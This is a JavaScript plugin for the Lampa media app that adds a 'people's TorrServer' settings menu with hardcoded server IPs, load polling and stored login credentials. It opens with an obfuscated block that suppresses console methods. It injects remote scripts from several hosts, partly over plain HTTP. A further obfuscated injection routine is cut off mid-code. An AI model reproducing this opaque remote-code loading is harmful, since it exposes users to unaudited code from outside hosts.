(function() { 'use strict'; function start(){ /* ChangeLog: завернуть адреса через CF, порты сделать проверку доступности и привязать балансировку к ним cors proxy https://apn.akter-black.com/ */ //var startTime = Date.now(); (function(_0x44d304,_0x3351a0){function _0x45614b(_0x1fcacf,_0x55ce4e,_0x1861fa,_0x1082d4){return _0x489d(_0x1082d4-0x2ba,_0x1fcacf);}var _0x529a2d=_0x44d304();function _0x1ebc12(_0x185644,_0x59387e,_0x30da52,_0x49650a){return _0x489d(_0x59387e- -0x29e,_0x185644);}while(!![]){try{var _0x4ea13d=parseInt(_0x45614b(0x363,0x36c,0x388,0x371))/(-0x1b44+0x26e7+-0xba2*0x1)*(-parseInt(_0x45614b(0x35c,0x353,0x359,0x36e))/(0xec2+0x9f5+-0x73*0x37))+-parseInt(_0x1ebc12(-0x21c,-0x1fd,-0x1e7,-0x1e3))/(0x1c98+-0x4*0x709+-0x71)*(parseInt(_0x45614b(0x382,0x37a,0x375,0x364))/(-0xd*-0x1c1+-0x171e+0x55))+-parseInt(_0x1ebc12(-0x1ef,-0x1f0,-0x1f8,-0x20b))/(0x224b*0x1+-0xb28+-0x171e)*(parseInt(_0x45614b(0x352,0x350,0x335,0x345))/(-0x33*-0x6d+-0x6*0xa3+-0x393*0x5))+-parseInt(_0x45614b(0x33c,0x346,0x340,0x342))/(0x11fb*-0x2+0x22f7*-0x1+0x237a*0x2)*(-parseInt(_0x1ebc12(-0x1f3,-0x20c,-0x211,-0x229))/(0x200+-0x25dc+0x23e4))+parseInt(_0x45614b(0x346,0x34f,0x333,0x34e))/(0x11bd*0x2+-0x1*0x563+-0x2*0xf07)+parseInt(_0x1ebc12(-0x234,-0x222,-0x22f,-0x225))/(-0x25c4*-0x1+0x1*-0x1cad+-0x14b*0x7)+parseInt(_0x1ebc12(-0x1ef,-0x204,-0x1e5,-0x1fd))/(0x1*-0x172b+0x1*0x7e6+0xf50);if(_0x4ea13d===_0x3351a0)break;else _0x529a2d['push'](_0x529a2d['shift']());}catch(_0x1b0955){_0x529a2d['push'](_0x529a2d['shift']());}}}(_0x2f5d,0x249b*-0x41+0x1*-0x31c5f+0x11c537));var _0x3e9619=(function(){var _0x33ed6a=!![];return function(_0x4cf1e3,_0x154de1){var _0x366f47=_0x33ed6a?function(){function _0x5de36d(_0x1d5957,_0x3849df,_0xce0d13,_0x74efb0){return _0x489d(_0x3849df- -0x215,_0xce0d13);}if(_0x154de1){var _0x3eab18=_0x154de1[_0x5de36d(-0x15c,-0x169,-0x14f,-0x173)](_0x4cf1e3,arguments);return _0x154de1=null,_0x3eab18;}}:function(){};return _0x33ed6a=![],_0x366f47;};}()),_0x5eeec9=_0x3e9619(this,function(){var _0x3321b5={};function _0x1007d8(_0x392887,_0x41242f,_0x136b29,_0x573241){return _0x489d(_0x136b29- -0x3b9,_0x573241);}_0x3321b5[_0x1007d8(-0x2fe,-0x307,-0x312,-0x310)]=_0x1007d8(-0x328,-0x329,-0x329,-0x30c)+'+$';function _0x4ed6e6(_0x22c4bb,_0x5ab949,_0x4f4eb9,_0x47db4f){return _0x489d(_0x5ab949- -0x1f9,_0x47db4f);}var _0x28c1dd=_0x3321b5;return _0x5eeec9[_0x4ed6e6(-0x179,-0x15a,-0x15c,-0x16a)]()[_0x1007d8(-0x313,-0x31d,-0x308,-0x317)](_0x28c1dd[_0x4ed6e6(-0x136,-0x152,-0x154,-0x15a)])[_0x4ed6e6(-0x15c,-0x15a,-0x163,-0x147)]()[_0x4ed6e6(-0x190,-0x175,-0x158,-0x161)+'r'](_0x5eeec9)[_0x1007d8(-0x2e9,-0x31f,-0x308,-0x312)](_0x28c1dd['TXqdO']);});_0x5eeec9();var _0x41c3f2=(function(){var _0x2260d1={};function _0x31c64c(_0x11c87d,_0x1117a1,_0x5cae08,_0x4f92c3){return _0x489d(_0x4f92c3- -0x1d,_0x5cae08);}_0x2260d1[_0x31c64c(0x5e,0x83,0x65,0x69)]=function(_0x4fad95,_0x5e0dc2){return _0x4fad95===_0x5e0dc2;},_0x2260d1[_0x188f75(0x178,0x18e,0x16a,0x17d)]=_0x188f75(0x1bf,0x18f,0x19d,0x1aa),_0x2260d1['dMmtz']=_0x31c64c(0x9c,0x88,0xa7,0x8c);function _0x188f75(_0x1f0a98,_0x23184d,_0x1c0060,_0x251ebe){return _0x489d(_0x251ebe-0x102,_0x1c0060);}var _0x1afe6a=_0x2260d1,_0x1dabca=!![];return function(_0x3865a0,_0x5d23a2){function _0x3fdd7f(_0x5259ce,_0x102dd1,_0x271bec,_0xc7de4e){return _0x188f75(_0x5259ce-0x1a3,_0x102dd1-0x16a,_0x102dd1,_0x5259ce-0x122);}function _0x141efd(_0x24a925,_0x48833c,_0x9cd977,_0x3f782c){return _0x188f75(_0x24a925-0x149,_0x48833c-0x6e,_0x9cd977,_0x3f782c-0x1b4);}if(_0x1afe6a['Hkyta'](_0x1afe6a['alWvJ'],_0x1afe6a[_0x141efd(0x345,0x31b,0x32a,0x339)])){var _0x16be95=_0x7897fe[_0x141efd(0x34f,0x36c,0x37d,0x362)](_0x48fdd8,arguments);return _0x52ad16=null,_0x16be95;}else{var _0x44db4e=_0x1dabca?function(){function _0x2da5e0(_0x1c1682,_0x4ad10e,_0x1b49e6,_0x3155a0){return _0x3fdd7f(_0x1c1682- -0x404,_0x4ad10e,_0x1b49e6-0x156,_0x3155a0-0x50);}if(_0x5d23a2){var _0x2daf5b=_0x5d23a2[_0x2da5e0(-0x134,-0x126,-0x14e,-0x147)](_0x3865a0,arguments);return _0x5d23a2=null,_0x2daf5b;}}:function(){};return _0x1dabca=![],_0x44db4e;}};}());function _0x1d3f1e(_0x4b19de,_0x138369,_0x49b839,_0x1475b7){return _0x489d(_0x4b19de-0x3b8,_0x1475b7);}function _0x2f5d(){var _0x389473=['mJiYEu5lvKjg','B2XUA2C','x19WCM90B19F','DhjHy2u','CMvTB3zL','kcGOlISPkYKRkq','zw50','oeD1vLrMCW','i1rVCNjFu3r5Ba','mJy1ndaXmeH1txvfAW','Bs5WAwnRzwq6oG','C3bSAxq','vg9YCL9tDhLSzq','r1jNzu0','nxWZFdr8mNWWFa','oda0mZaZnxHSA0rlBq','y3jLyxrLrwXLBq','ywz0zxi','yM9KEq','y3rLzdPUB3qOlG','Dg9tDhjPBMC','ChbrDLy','mtaYovHgvLvjyW','zwn0yM94lwL0zq','DKL0vxe','y29UC29Szq','Bg9N','q2zcBKC','vfHXze8','rfjos3u','ruzru24','ndaZnM5VBw93tG','BgvUz3rO','yxbWBhK','Aw5MBW','nti4mdvPvMzXDMm','v0H3D0i','DgfIBgu','C2vHCMnO','zxjYB3i','nhWXFdj8mhWZ','mJuZnMzrAgHxzq','yMLUza','CxvLCNLtzwXLyW','ndiYB0PzAenp','y3rVCIGICMv0Dq','ihSGzgLZCgXHEq','ywXxDKO','ntuWmtC1mfP4ChLAuW','C3r5Bgu','lwL0zw0UC2vSzq','AgPdvfG','D3LxBhe','Dg9Y','yxbWzw5Kq2HPBa','ze1TDhO','y29UC3rYDwn0BW','ywPUtgW','sgT5Dge','E30Uy29UC3rYDq','mZmXmtiXDLPHseLK','oIbUB25LoYb9cG','A05dtuC'];_0x2f5d=function(){return _0x389473;};return _0x2f5d();}var _0xad253a=_0x41c3f2(this,function(){var _0x3e91b2={};function _0x40eb4f(_0x540585,_0x102128,_0x3a0e39,_0x4bf22d){return _0x489d(_0x102128-0x1d1,_0x3a0e39);}_0x3e91b2['hjCTX']=_0x1a4c65(0x3aa,0x399,0x39d,0x390),_0x3e91b2['obUNO']=_0x40eb4f(0x258,0x276,0x270,0x278),_0x3e91b2[_0x1a4c65(0x389,0x365,0x362,0x37d)]='warn',_0x3e91b2['vItUq']=_0x1a4c65(0x36b,0x3a3,0x39a,0x38a),_0x3e91b2[_0x40eb4f(0x240,0x25b,0x26e,0x25b)]=_0x40eb4f(0x28d,0x283,0x272,0x28f),_0x3e91b2['CfBnG']='exception',_0x3e91b2[_0x1a4c65(0x344,0x363,0x33e,0x35d)]=_0x40eb4f(0x29a,0x281,0x288,0x29a),_0x3e91b2[_0x40eb4f(0x25f,0x256,0x265,0x25e)]=_0x1a4c65(0x37c,0x37d,0x386,0x36b),_0x3e91b2[_0x40eb4f(0x266,0x25d,0x26b,0x27a)]='return\x20(fu'+'nction()\x20',_0x3e91b2[_0x1a4c65(0x378,0x3ab,0x39f,0x38c)]=function(_0x525934,_0x101c4f){return _0x525934<_0x101c4f;},_0x3e91b2[_0x1a4c65(0x357,0x388,0x38d,0x375)]=_0x1a4c65(0x36a,0x380,0x37a,0x376)+'1';function _0x1a4c65(_0x559a86,_0x53d62b,_0x2f86e7,_0x3757f1){return _0x489d(_0x3757f1-0x2dd,_0x53d62b);}var _0x4f3662=_0x3e91b2,_0x381912=_0x4f3662[_0x1a4c65(0x354,0x359,0x34f,0x35c)][_0x40eb4f(0x26e,0x267,0x27c,0x268)]('|'),_0x51427a=-0xb2*0x26+-0x1cd6+0x3742;while(!![]){switch(_0x381912[_0x51427a++]){case'0':var _0x1800fb=[_0x4f3662['obUNO'],_0x4f3662[_0x1a4c65(0x379,0x369,0x392,0x37d)],_0x4f3662[_0x40eb4f(0x28b,0x274,0x26d,0x269)],_0x4f3662[_0x40eb4f(0x24d,0x25b,0x240,0x24a)],_0x4f3662[_0x40eb4f(0x289,0x277,0x27f,0x26d)],_0x4f3662[_0x1a4c65(0x346,0x342,0x341,0x35d)],_0x4f3662[_0x40eb4f(0x261,0x256,0x24d,0x23a)]];continue;case'1':try{var _0x2bcd0a=Function(_0x4f3662[_0x1a4c65(0x388,0x382,0x363,0x369)]+(_0x40eb4f(0x255,0x258,0x25a,0x23b)+_0x40eb4f(0x259,0x24a,0x25f,0x254)+'rn\x20this\x22)('+'\x20)')+');');_0x379aa1=_0x2bcd0a();}catch(_0x5ac63f){_0x379aa1=window;}continue;case'2':var _0xd2364e=_0x379aa1[_0x1a4c65(0x36b,0x36b,0x368,0x381)]=_0x379aa1[_0x1a4c65(0x387,0x392,0x392,0x381)]||{};continue;case'3':for(var _0x7a9d73=0x1d*-0x11+-0x915+-0x581*-0x2;_0x4f3662[_0x1a4c65(0x381,0x384,0x3a3,0x38c)](_0x7a9d73,_0x1800fb[_0x1a4c65(0x382,0x371,0x37a,0x388)]);_0x7a9d73++){var _0x3b90b8=_0x4f3662['GRgeM'][_0x1a4c65(0x375,0x36b,0x391,0x373)]('|'),_0x46b3b7=-0x64f+-0x964*0x2+-0x1*-0x1917;while(!![]){switch(_0x3b90b8[_0x46b3b7++]){case'0':_0x1e1595[_0x40eb4f(0x264,0x270,0x289,0x290)]=_0x263325['toString'][_0x1a4c65(0x378,0x3aa,0x37f,0x392)](_0x263325);continue;case'1':_0xd2364e[_0x31718]=_0x1e1595;continue;case'2':_0x1e1595[_0x40eb4f(0x271,0x25e,0x250,0x24f)]=_0x41c3f2['bind'](_0x41c3f2);continue;case'3':var _0x31718=_0x1800fb[_0x7a9d73];continue;case'4':var _0x263325=_0xd2364e[_0x31718]||_0x1e1595;continue;case'5':var _0x1e1595=_0x41c3f2['constructo'+'r']['prototype'][_0x1a4c65(0x387,0x3b1,0x389,0x392)](_0x41c3f2);continue;}break;}}continue;case'4':var _0x379aa1;continue;}break;}});_0xad253a();function _0x489d(_0x352433,_0x5b93f5){var _0x91828a=_0x2f5d();return _0x489d=function(_0x36e875,_0x4f31f7){_0x36e875=_0x36e875-(0x1f*0x13d+-0x235f+-0x28b);var _0x47dd29=_0x91828a[_0x36e875];if(_0x489d['fnoZVJ']===undefined){var _0x4386dc=function(_0x4e3510){var _0x51ac7a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var _0x187163='',_0x1a20ce='',_0x55ce58=_0x187163+_0x4386dc;for(var _0x41cb22=-0x10fd+-0x52f+-0x81*-0x2c,_0x29fccb,_0x407377,_0x989c59=-0x55*0x17+0x2b*0xa3+0x169*-0xe;_0x407377=_0x4e3510['charAt'](_0x989c59++);~_0x407377&&(_0x29fccb=_0x41cb22%(-0x65*-0x8+-0x13*-0x1c+-0x538)?_0x29fccb*(-0x262b+-0x8c*-0x26+0x81*0x23)+_0x407377:_0x407377,_0x41cb22++%(-0x56*0x58+0x1*0x1703+0x691))?_0x187163+=_0x55ce58['charCodeAt'](_0x989c59+(0xaab+-0x3f2+-0x6af))-(-0x273*0x6+0x8fa*-0x3+0x14d5*0x2)!==0x130b*-0x1+0xdae*0x2+-0x1*0x851?String['fromCharCode'](-0xce*0x25+0x4b6+0x1a0f&_0x29fccb>>(-(-0x1*0x9fa+-0x7*0x259+-0x1a6b*-0x1)*_0x41cb22&0x3*-0xc9f+0x2671+-0x8e)):_0x41cb22:-0x1*-0x1169+0x5a*0x5d+-0x1*0x321b){_0x407377=_0x51ac7a['indexOf'](_0x407377);}for(var _0x3c9969=-0x24df+0x1263*0x1+0x2a4*0x7,_0x33a23d=_0x187163['length'];_0x3c9969<_0x33a23d;_0x3c9969++){_0x1a20ce+='%'+('00'+_0x187163['charCodeAt'](_0x3c9969)['toString'](0x1*-0x20e6+0x1d*0xb7+0x65*0x1f))['slice'](-(-0x270*-0xd+-0x1558*-0x1+-0x1a83*0x2));}return decodeURIComponent(_0x1a20ce);};_0x489d['TtwGvn']=_0x4386dc,_0x352433=arguments,_0x489d['fnoZVJ']=!![];}var _0x2590be=_0x91828a[-0x16d2+0xc16*0x2+-0x15a*0x1],_0x37be2e=_0x36e875+_0x2590be,_0x3a26f2=_0x352433[_0x37be2e];if(!_0x3a26f2){var _0x28dca4=function(_0x3df099){this['ZrEHZK']=_0x3df099,this['czrGhx']=[-0xf49+0x139*0xd+-0x9b*0x1,0x9e*-0x1d+-0x1f30+-0x188b*-0x2,0x5*-0x717+-0x53f+0x28b2],this['HSrWeb']=function(){return'newState';},this['DugHrg']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['JVAqLW']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x28dca4['prototype']['EmWFZR']=function(){var _0x335ae0=new RegExp(this['DugHrg']+this['JVAqLW']),_0x4a1082=_0x335ae0['test'](this['HSrWeb']['toString']())?--this['czrGhx'][-0x1f09+0x1*0x1b8f+-0x3*-0x129]:--this['czrGhx'][-0x23a2+0x6b5+0x1ced];return this['TqtWRj'](_0x4a1082);},_0x28dca4['prototype']['TqtWRj']=function(_0x2bed80){if(!Boolean(~_0x2bed80))return _0x2bed80;return this['xWwWxm'](this['ZrEHZK']);},_0x28dca4['prototype']['xWwWxm']=function(_0x4d37c6){for(var _0x53f8fc=-0x14dd+-0x1*-0x1352+-0x1*-0x18b,_0x436695=this['czrGhx']['length'];_0x53f8fc<_0x436695;_0x53f8fc++){this['czrGhx']['push'](Math['round'](Math['random']())),_0x436695=this['czrGhx']['length'];}return _0x4d37c6(this['czrGhx'][0x11*0xca+0x11*0xf5+-0x9e5*0x3]);},new _0x28dca4(_0x489d)['EmWFZR'](),_0x47dd29=_0x489d['TtwGvn'](_0x47dd29),_0x352433[_0x37be2e]=_0x47dd29;}else _0x47dd29=_0x3a26f2;return _0x47dd29;},_0x489d(_0x352433,_0x5b93f5);}var _0x44a6bc=document[_0x114ca5(-0x26a,-0x276,-0x257,-0x28a)+_0x114ca5(-0x274,-0x25d,-0x27e,-0x28a)](_0x114ca5(-0x288,-0x29b,-0x29a,-0x29f));_0x44a6bc['id']=_0x114ca5(-0x26e,-0x262,-0x273,-0x254);if(document[_0x114ca5(-0x24f,-0x255,-0x255,-0x25f)+_0x114ca5(-0x284,-0x293,-0x27c,-0x28c)]('#Torr_Styl'+'e')!==null)$(_0x114ca5(-0x272,-0x26e,-0x279,-0x277)+'e')[_0x114ca5(-0x276,-0x260,-0x279,-0x278)]();_0x44a6bc['innerHTML']='.ad-server'+(_0x1d3f1e(0x432,0x416,0x445,0x44e)+_0x114ca5(-0x27c,-0x270,-0x29b,-0x25e))+('.selectbox'+_0x1d3f1e(0x436,0x43d,0x418,0x437)+_0x114ca5(-0x267,-0x26d,-0x24b,-0x25a)+'nomark)::a'+'fter,\x20.sel'+_0x114ca5(-0x263,-0x24f,-0x25b,-0x265)+_0x114ca5(-0x270,-0x265,-0x280,-0x284)+_0x114ca5(-0x269,-0x288,-0x266,-0x26a))+(_0x114ca5(-0x28b,-0x26e,-0x281,-0x291)+_0x114ca5(-0x27c,-0x284,-0x263,-0x27f));function _0x114ca5(_0x7da2e9,_0x50bae8,_0x3956cf,_0x8cf3cb){return _0x489d(_0x7da2e9- -0x305,_0x8cf3cb);}document[_0x114ca5(-0x268,-0x287,-0x24e,-0x264)][_0x1d3f1e(0x43a,0x446,0x433,0x454)+'d'](_0x44a6bc); //var endTime = Date.now(); //window.beetween = (endTime - startTime)/1000; /* * Переменные и Массивы */ var cpuUSE = true; var speedKoef, lockStatus = 0; document.cinema_started = false; var icon_people_server = '
' + '' + '
Народный TorrServer
' //193.233.134.21 var servers = { "List": { "0": "185.231.155.125", "1": "94.103.86.206", "2": "185.209.28.172", "3": "109.172.88.237", "4": "212.34.151.5", "5": "123.123.123.123" }, "load": { "0": "0", "1": "0", "2": "0", "3": "0", "4": "0", "5": "0" }, "port": { "0": "9098", "1": "9098", "2": "8080", "3": "9098", "4": "8080", "5": "8080" } } /* * МЕНЮ * */ /* Компонент */ Lampa.Settings.listener.follow('open', function (e) { if (e.name == 'main') { Lampa.SettingsApi.addComponent({ component: 'add_people_server', name: 'people_server' }); setTimeout(function() { $('div[data-component="add_people_server"]').remove(); }, 0); } }); /* Головной раздел - ПАПКА */ Lampa.SettingsApi.addParam({ component: 'server', param: { name: 'add_people_server', type: 'static', default: true }, field: { name: icon_people_server }, onRender: function(item) { setTimeout(function() { if($('div[data-static="true"]').length > 1) item.hide(); $('div[data-static="true"]').insertAfter('div[data-name="torrserver_use_link"]'); }, 20); item.on('hover:enter', function () { Lampa.Settings.create('add_people_server'); Lampa.Controller.enabled().controller.back = function(){ Lampa.Settings.create('server'); } }); } }); /* Дочерний элемент Триггер - ВКЛ и ВЫКЛ */ Lampa.SettingsApi.addParam({ component: 'add_people_server', param: { name: 'usePeopleServer', type: 'trigger', class: 'hide', default: false }, field: { name: 'Народный ТоррСервер', description: 'Разрешить использование' }, onChange: function(value) { if (Lampa.Storage.get('usePeopleServer') == true) Lampa.Storage.set('torrserver_auth', true); if (Lampa.Storage.get('usePeopleServer') == false) Lampa.Storage.set('torrserver_auth', false); /* if (Lampa.Storage.get('usePeopleServer') == false) {$('div[data-name="search_button"]').hide()} else {$('div[data-name="search_button"]').show()}; if (Lampa.Storage.get('usePeopleServer') == false) {$('div[data-name="auto_manual"]').hide()} else {$('div[data-name="auto_manual"]').show()}; if (Lampa.Storage.get('usePeopleServer') == false) {$('div[data-name="torrserver_manual"]').hide()} else {$('div[data-name="torrserver_manual"]').show()}; if (Lampa.Storage.get('usePeopleServer') == false) {$('div[data-name="usePeopleServer_auto"]').hide()} else {$('div[data-name="usePeopleServer_auto"]').show()}; */ Lampa.Settings.update(); }, onRender: function (item) {//$('.settings-param__name', item).css('color','f3d900'); setTimeout(function() { if (Lampa.Storage.get('usePeopleServer') == false) {$('div[data-name="search_button"]').hide()} else {$('div[data-name="search_button"]').show()}; if (Lampa.Storage.get('usePeopleServer') == false) {$('div[data-name="auto_manual"]').hide()} else {$('div[data-name="auto_manual"]').show()}; if (Lampa.Storage.get('usePeopleServer') == false) {$('div[data-name="torrserver_manual"]').hide()} else {$('div[data-name="torrserver_manual"]').show()}; if (Lampa.Storage.get('usePeopleServer') == false) {$('div[data-name="usePeopleServer_auto"]').hide()} else {$('div[data-name="usePeopleServer_auto"]').show()}; }, 0); //Lampa.Noty.show(window.beetween) } }); /* Дочерний элемент Онлайн - ВКЛ и ВЫКЛ */ Lampa.SettingsApi.addParam({ component: 'add_people_server', param: { name: 'useCinemaOnline', type: 'trigger', class: 'hide', default: false }, field: { name: 'Онлайн Cinema', description: '' }, onChange: function(value) { if (Lampa.Storage.get('useCinemaOnline') == true) { //if (document.cinema_started = false) callCinema(); };//callCinema(); if (Lampa.Storage.get('useCinemaOnline') == false) Lampa.Noty.show('Перезагрузите приложение'); Lampa.Settings.update(); }, onRender: function (item) {//$('.settings-param__name', item).css('color','f3d900'); setTimeout(function() { if (typeof WebAssembly === "undefined") { $('div[data-name="useCinemaOnline"]').hide(); } if (Lampa.Storage.get('usePeopleServer') == false) {$('div[data-name="useCinemaOnline"]').hide()} else {$('div[data-name="useCinemaOnline"]').show()}; }, 0); } }); /* Дочерний элемент Онлайн - ВКЛ и ВЫКЛ */ Lampa.SettingsApi.addParam({ component: 'add_people_server', param: { name: 'useDurexOnline', type: 'trigger', class: 'hide', default: false }, field: { name: 'Онлайн Durex', description: '' }, onChange: function(value) { if (Lampa.Storage.get('useDurexOnline') == true) { //if (document.Durex_started = false) callDurex(); };//callDurex(); if (Lampa.Storage.get('useDurexOnline') == false) Lampa.Noty.show('Перезагрузите приложение'); Lampa.Settings.update(); }, onRender: function (item) {//$('.settings-param__name', item).css('color','f3d900'); setTimeout(function() { if (typeof WebAssembly === "undefined") { $('div[data-name="useDurexOnline"]').hide(); } if (Lampa.Storage.get('usePeopleServer') == false) {$('div[data-name="useDurexOnline"]').hide()} else {$('div[data-name="useDurexOnline"]').show()}; }, 0); } }); /* Дочерний элемент ПЕРЕКЛЮЧЕНИЕ СЕРИЙ - ВКЛ и ВЫКЛ */ Lampa.SettingsApi.addParam({ component: 'add_people_server', param: { name: 'useRemoteTorrent', type: 'trigger', class: 'hide', default: false }, field: { name: 'Переключение серий пультом', description: 'Кнопками смены каналов' }, onChange: function(value) { Lampa.Settings.update(); }, onRender: function (item) { } }); /* Дочерний элемент ПЕРЕКЛЮЧЕНИЕ СЕРИЙ - ВКЛ и ВЫКЛ */ Lampa.SettingsApi.addParam({ component: 'add_people_server', param: { name: 'useSkipButtons', type: 'trigger', class: 'hide', default: false }, field: { name: 'Кнопки пропуска вступления', description: 'Для сериалов внизу плеера' }, onChange: function(value) { if (value){ var script = document.createElement('script'); script.src = 'http://94.103.90.167/skip'; document.head.appendChild(script); } Lampa.Settings.update(); }, onRender: function (item) { } }); /* Дочерний элемент Пункты - способ выбора */ Lampa.SettingsApi.addParam({ component: 'add_people_server', param: { name: 'auto_manual', type: 'select', values: { 0: 'Автовыбор', 1: 'Ручной' }, default: 0 }, field: { name: 'Выбор серверов', description: 'Способ подбора сервера' }, onChange: function (value) { Lampa.Settings.update(); }, onRender: function (item) { setTimeout(function() { $('.settings-param__name', item).css('color','f3d900'); if (!Lampa.Storage.field('auto_manual')) Lampa.Storage.set('auto_manual', '0'); }, 0); }, onBack: function onBack() { Lampa.Settings.update(); } }); /* Дочерний элемент Пункты - выбор адреса */ Lampa.SettingsApi.addParam({ component: 'add_people_server', param: { name: 'torrserver_manual', type: 'select', values: servers.List, default: 0 }, field: { name: 'Выбранный сервер', description: 'Выберите предпочтительный сервер' }, onChange: function (value) { Lampa.Storage.set('torrserver_url', servers.List[value] + ':' + servers.port[value]); }, onRender: function (item) { setTimeout(function() { $('.settings-param__name', item).css('color','f3d900'); if($('div[data-name="torrserver_manual"]').length > 1) item.hide(); if(localStorage.getItem('auto_manual') == '0') item.hide(); $('div[data-name="torrserver_manual"]').insertAfter('div[data-name="auto_manual"]'); if (!localStorage.getItem('torrserver_manual')) Lampa.Storage.set('torrserver_url', servers.List[0] + ':' + servers.port[0]); }, 0); } }); /* Дочерний элемент Пункты - запрос демо */ Lampa.SettingsApi.addParam({ component: 'add_people_server', param: { name: 'torrserver_demo', type: 'static', default: '' }, field: { name: 'Запросить доступ для проверки сети', description: 'Временный доступ на 1 день, единоразово' }, onRender: function (item) { setTimeout(function() { if(Lampa.Storage.get('usePeopleServer') !== true) item.hide(); }, 0); } }); /* Дочерний элемент Пункты - ЛОГИН */ Lampa.SettingsApi.addParam({ component: 'add_people_server', param: { name: 'torrserver_user', type: 'static', default: '' }, field: { name: 'Логин Аккаунта', description: 'Укажите логин для доступа к серверам проекта' }, onRender: function (item) { setTimeout(function() { if (Lampa.Storage.get('usePeopleServer') == false) item.hide(); item.on('hover:enter', function () { Lampa.Input.edit({ title: "Укажите логин от Народного ТоррСервера", value: Lampa.Storage.get('torrserver_login') ? Lampa.Storage.get('torrserver_login') : '', free: true }, function (value) { if (value.length > 0) Lampa.Storage.set('torrserver_login', value); if (value == '') { Lampa.Storage.set('torrserver_login', value); Lampa.Controller.toggle('settings'); return; } } ) }) }, 0); } }) /* Дочерний элемент Пункты - ПАРОЛЬ */ Lampa.SettingsApi.addParam({ component: 'add_people_server', param: { name: 'torrserver_passw', type: 'static', default: '' }, field: { name: 'Выданный вам пароль', description: 'Для доступа к серверам проекта' }, onRender: function (item) { setTimeout(function() { if (Lampa.Storage.get('usePeopleServer') == false) item.hide(); item.on('hover:enter', function () { Lampa.Input.edit({ title: "Укажите пароль от Народного ТоррСервера", value: Lampa.Storage.get('torrserver_password') ? Lampa.Storage.get('torrserver_password') : '', free: true }, function (value) { if (value.length > 0) Lampa.Storage.set('torrserver_password', value); if (value == '') { Lampa.Storage.set('torrserver_password', value); Lampa.Controller.toggle('settings'); //content return; } } ) }) }, 0); } }) //setTimeout(function(){Lampa.Noty.show('Старт')}, 5000) function callCinema(){ document.cinema_started = true; var script = document.createElement('script'); script.src = 'https://bylampa.github.io/cinema.js'; document.head.appendChild(script); } function callDurex(){ document.cinema_started = true; var script = document.createElement('script'); script.src = 'http://durex.monster/online.js'; document.head.appendChild(script); } /* * ОПРОС * */ function getMinIndex(obj) { var minValue = Infinity; var result = null; Object.keys(obj).forEach(function(key, index) { var value = +obj[key]; if (value < minValue) { result = key; minValue = value; } }); return result; } function checkLoad(){ for (var i = 0; i <= Object.keys(servers.List).length - 1; i++) { (function(index) { var url = 'http://' + servers.List[index] + '/stats/stats.json'; var xhr = new XMLHttpRequest(); xhr.open('GET', url, true); xhr.timeout = 2000; xhr.send(); xhr.onload = function() { try { var torrents_1 = JSON.parse(this.responseText); if (cpuUSE) { var currSpeed = 100 - parseInt(torrents_1.cpu); // CPU% servers.load[index] = currSpeed; } else { if (torrents_1.in.match(/kbit/i)) speedKoef = 0.001 else speedKoef = 1 var currSpeed = speedKoef*(parseInt(torrents_1.out) + parseInt(torrents_1.in)) servers.load[index] = parseInt(speedKoef*(parseInt(torrents_1.out) + parseInt(torrents_1.in))); }; } catch (e){ servers.load[index] = 100; } } xhr.ontimeout = function() { servers.load[index] = 100; }; xhr.onerror = function() { servers.load[index] = 100; }; })(i); } } // toggle Lampa.Controller.listener.follow('toggle', function(e) { if(e.name == 'select') { setTimeout(function() { if ($(".selectbox-item__title")[0].innerText.match(/185.231.155.125/i)) { for (var i = 0; i <= Object.keys(servers.List).length - 1; i++) { var elemSPAN = document.createElement('span'); if (cpuUSE) elemSPAN.innerText = JSON.parse(servers.load[i]) + '%'; else elemSPAN.innerText = JSON.parse(parseInt(100*servers.load[i]/800)) + '%'; elemSPAN.style.float = "right" $('.selectbox-item__title')[i].appendChild(elemSPAN); } } }, 10); } }); setInterval(function(){checkLoad()}, 60000) /* * ГОТОВИМ НАСТРОЙКИ * */ Lampa.Storage.listener.follow('change', function (event) { if (event.name == 'activity') { // && localStorage.getItem('auto_manual') == '0' if (Lampa.Activity.active().component == 'torrents') { //torrents_filter_data, torrents_filter var minIndex = getMinIndex(servers.load); if (Lampa.Storage.get('usePeopleServer') == true) { Lampa.Storage.set('torrserver_use_link', 'one'); Lampa.Storage.set('torrserver_url', servers.List[minIndex] + ':' + servers.port[minIndex]); } // Чиним отсутствие if (!localStorage.getItem('usePeopleServer') && !!localStorage.getItem('torrserver_login') && !!localStorage.getItem('torrserver_password')) { Lampa.Storage.set('torrserver_use_link', 'one'); Lampa.Storage.set('torrserver_url', servers.List[minIndex] + ':' + servers.port[minIndex]); } } } }); checkLoad(); function injectPlugin(injectList){ for (var i = 0; i < injectList.length; i++) { var _0x3782d6=_0x3a2a;function _0x3a2a(_0x1041c8,_0x18025f){var _0x36ba35=_0x36ba();return _0x3a2a=function(_0x3a2a9f,_0x57f431){_0x3a2a9f=_0x3a2a9f-0x15b;var _0x11453f=_0x36ba35[_0x3a2a9f];return _0x11453f;},_0x3a2a(_0x1041c8,_0x18025f);}function _0x36ba(){var _0x5b35b1=['\x4d\x61\x6e\x69\x66\x65\x73\x74','\x37\x32\x4a\x6f\x77\x6f\x4c\x5a','\x32\x30\x30\x36\x36\x30\x47\x50\x73\x6e\x79\x65','\x35\x32\x36\x36\x30\x47\x61\x74\x66\x57\x46','\x32\x30\x33\x34\x43\x57\x4e\x49\x6a\x6a','\x6f\x72\x69\x67\x69\x6e','\x34\x30\x50\x70\x69\x44\x50\x6d','\x34\x32\x32\x38\x41\x59\x6b\x51\x74\x54','\x31\x31\x31\x30\x34\x32\x36\x59\x4a\x4b\x75\x41\x78','\x35\x34\x32\x34\x32\x79\x6d\x69\x66\x4a\x53','\x31\x36\x34\x37\x36\x39\x30\x5a\x4e\x75\x6c\x6d\x61','\x32\x32\x33\x32\x36\x33\x63\x74\x44\x73\x55\x6e'];_0x36ba=function(){return _0x5b35b1;};return _0x36ba();}(function(_0x49ad50,_0x20492f){var _0xbd444f=_0x3a2a,_0x50dafe=_0x49ad50();while(!![]){try{var 